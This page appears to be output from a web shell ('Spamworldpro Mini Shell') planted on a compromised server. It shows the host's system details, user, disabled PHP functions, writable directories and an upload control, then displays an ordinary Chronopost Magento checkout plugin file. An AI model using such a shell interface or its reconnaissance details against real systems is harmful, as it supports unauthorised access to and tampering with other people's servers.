Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/app/code/Chronopost/Chronorelais/Plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/app/code/Chronopost/Chronorelais/Plugin/PaymentInformationManagement.php
<?php
/**
 * Chronopost
 *
 * DISCLAIMER
 *
 * Do not edit or add to this file if you wish to upgrade this extension to newer
 * version in the future.
 *
 * @category  Chronopost
 * @package   Chronopost_Chronorelais
 * @copyright Copyright (c) 2021 Chronopost
 */
declare(strict_types=1);

namespace Chronopost\Chronorelais\Plugin;

use Chronopost\Chronorelais\Helper\Data;
use Magento\Framework\Exception\NoSuchEntityException;
use Magento\Framework\Exception\StateException;
use Magento\Checkout\Model\Session as CheckoutSession;
use Magento\Quote\Api\CartRepositoryInterface;
use Magento\Quote\Api\Data\AddressInterface;
use Magento\Quote\Api\Data\PaymentInterface;
use Magento\Checkout\Model\PaymentInformationManagement as BasePaymentInformationManagement;

/**
 * Class PaymentInformationManagement
 *
 * @package Chronopost\Chronorelais\Plugin
 */
class PaymentInformationManagement
{
    /**
     * @var CheckoutSession
     */
    protected $checkoutSession;

    /**
     * Quote repository.
     *
     * @var CartRepositoryInterface
     */
    protected $quoteRepository;

    /**
     * PaymentInformationManagement constructor.
     *
     * @param CheckoutSession         $checkoutSession
     * @param CartRepositoryInterface $cartRepository
     */
    public function __construct(
        CheckoutSession $checkoutSession,
        CartRepositoryInterface $cartRepository
    ) {
        $this->checkoutSession = $checkoutSession;
        $this->quoteRepository = $cartRepository;
    }

    /**
     * Verify session if appointment mode
     *
     * @param BasePaymentInformationManagement $subject
     * @param string                           $cartId
     * @param PaymentInterface                 $paymentMethod
     * @param AddressInterface|null            $billingAddress
     *
     * @throws NoSuchEntityException
     * @throws StateException
     * @SuppressWarnings(PHPMD.UnusedFormalParameter)
     */
    public function beforeSavePaymentInformationAndPlaceOrder(
        BasePaymentInformationManagement $subject,
        $cartId,
        PaymentInterface $paymentMethod,
        AddressInterface $billingAddress = null
    ) {
        $quote = $this->quoteRepository->getActive($cartId);

        $shippingAddress = $quote->getShippingAddress();

        //some orders might have empty shipping method (virtual order, etc)
        $shippingMethod = $shippingAddress->getShippingMethod() ?? '';
        $resultPregMatch = preg_match(
            '/' . Data::CHRONO_SRDV_CODE . '/',
            $shippingMethod,
            $matches,
            PREG_OFFSET_CAPTURE
        );

        if ($shippingMethod && $resultPregMatch && !$this->checkoutSession->getData('chronopostsrdv_creneaux_info')) {
            throw new StateException(__('Please select an appointment date'));
        }
    }
}

Spamworldpro Mini